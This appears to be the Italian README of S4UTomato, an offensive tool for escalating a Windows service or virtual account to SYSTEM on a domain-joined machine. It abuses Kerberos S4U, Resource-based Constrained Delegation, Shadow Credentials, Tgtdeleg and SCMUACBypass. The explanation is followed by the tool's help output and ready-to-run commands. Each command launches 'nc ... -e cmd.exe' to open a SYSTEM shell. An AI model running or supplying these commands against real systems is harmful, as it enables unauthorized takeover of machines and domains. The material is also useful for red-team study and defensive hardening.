
Elevare account di servizio a LocalSystem tramite Kerberos
Eleva il Service Account a LocalSystem tramite Kerberos.
Gli esperti familiari con la serie di escalation dei privilegi "Potato" sapranno che può elevare i privilegi di un service account a quelli del sistema locale. Le prime tecniche di sfruttamento di "Potato" sono quasi identiche: sfruttare determinate caratteristiche delle interfacce COM, ingannando l'account NT AUTHORITY\SYSTEM per connettersi e autenticarsi a un server RPC controllato dall'attaccante. Successivamente, attraverso una serie di chiamate API, viene eseguito un attacco intermedio (NTLM Relay) durante questo processo di autenticazione, che porta alla generazione di un token di accesso per l'account NT AUTHORITY\SYSTEM sul sistema locale. Infine, questo token viene rubato e vengono utilizzate le funzioni CreateProcessWithToken() o CreateProcessAsUser() per passare il token e creare un nuovo processo ottenendo privilegi SYSTEM.
In un ambiente di dominio Windows, SYSTEM, NT AUTHORITY\NETWORK SERVICE e gli account virtuali Microsoft vengono utilizzati per l'autenticazione dagli account computer di sistema che sono uniti al dominio. Comprendere questo è fondamentale perché nelle versioni moderne di Windows, la maggior parte dei servizi Windows viene eseguita per impostazione predefinita utilizzando account virtuali Microsoft. In particolare, IIS e MSSQL utilizzano questi account virtuali, e credo che anche altre applicazioni possano impiegarli. Pertanto, possiamo abusare dell'estensione S4U per ottenere il ticket di servizio per l'account amministratore di dominio "Administrator" sulla macchina locale. Quindi, con l'aiuto di SCMUACBypass di James Forshaw (@tiraniddo), possiamo usare quel ticket per creare un servizio di sistema e ottenere privilegi SYSTEM. Ciò raggiunge lo stesso effetto dei metodi tradizionali utilizzati nella famiglia di tecniche di escalation dei privilegi "Potato".
In qualsiasi scenario in cui una macchina è unita a un dominio, puoi sfruttare le tecniche sopra menzionate per l'escalation locale dei privilegi fintanto che puoi eseguire codice nel contesto di un account di servizio Windows o di un account virtuale Microsoft, a condizione che Active Directory non sia stato indurito per difendersi completamente da tali attacchi.
Prima di ciò, dobbiamo ottenere un TGT (Ticket Granting Ticket) per l'account della macchina locale. Questo non è facile a causa delle restrizioni imposte dalle autorizzazioni dell'account di servizio, che ci impediscono di ottenere la chiave a lungo termine del computer e quindi di costruire una richiesta KRB_AS_REQ. Per raggiungere l'obiettivo sopra menzionato, ho sfruttato tre tecniche: Resource-based Constrained Delegation, Shadow Credentials e Tgtdeleg. Ho costruito il mio progetto basandomi sul set di strumenti Rubeus.
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain Dominio (FQDN) a cui autenticarsi.
-s, --Server Nome host del controller di dominio o del server LDAP.
-m, --ComputerName Nome del nuovo account computer da creare.
-p, --ComputerPassword Password del nuovo account computer da creare.
-f, --Force Aggiorna forzatamente l'attributo 'msDS-KeyCredentialLink' dell'oggetto computer.
-c, --Command Programma da eseguire.
-v, --Verbose Output informazioni di debug dettagliate.
--help Mostra questa schermata di aiuto.
--version Mostra informazioni sulla versione.
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

# Prima recupera il TGT tramite Tgtdeleg
S4UTomato.exe tgtdeleg
# Quindi esegui SCMUACBypass per ottenere privilegi SYSTEM
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
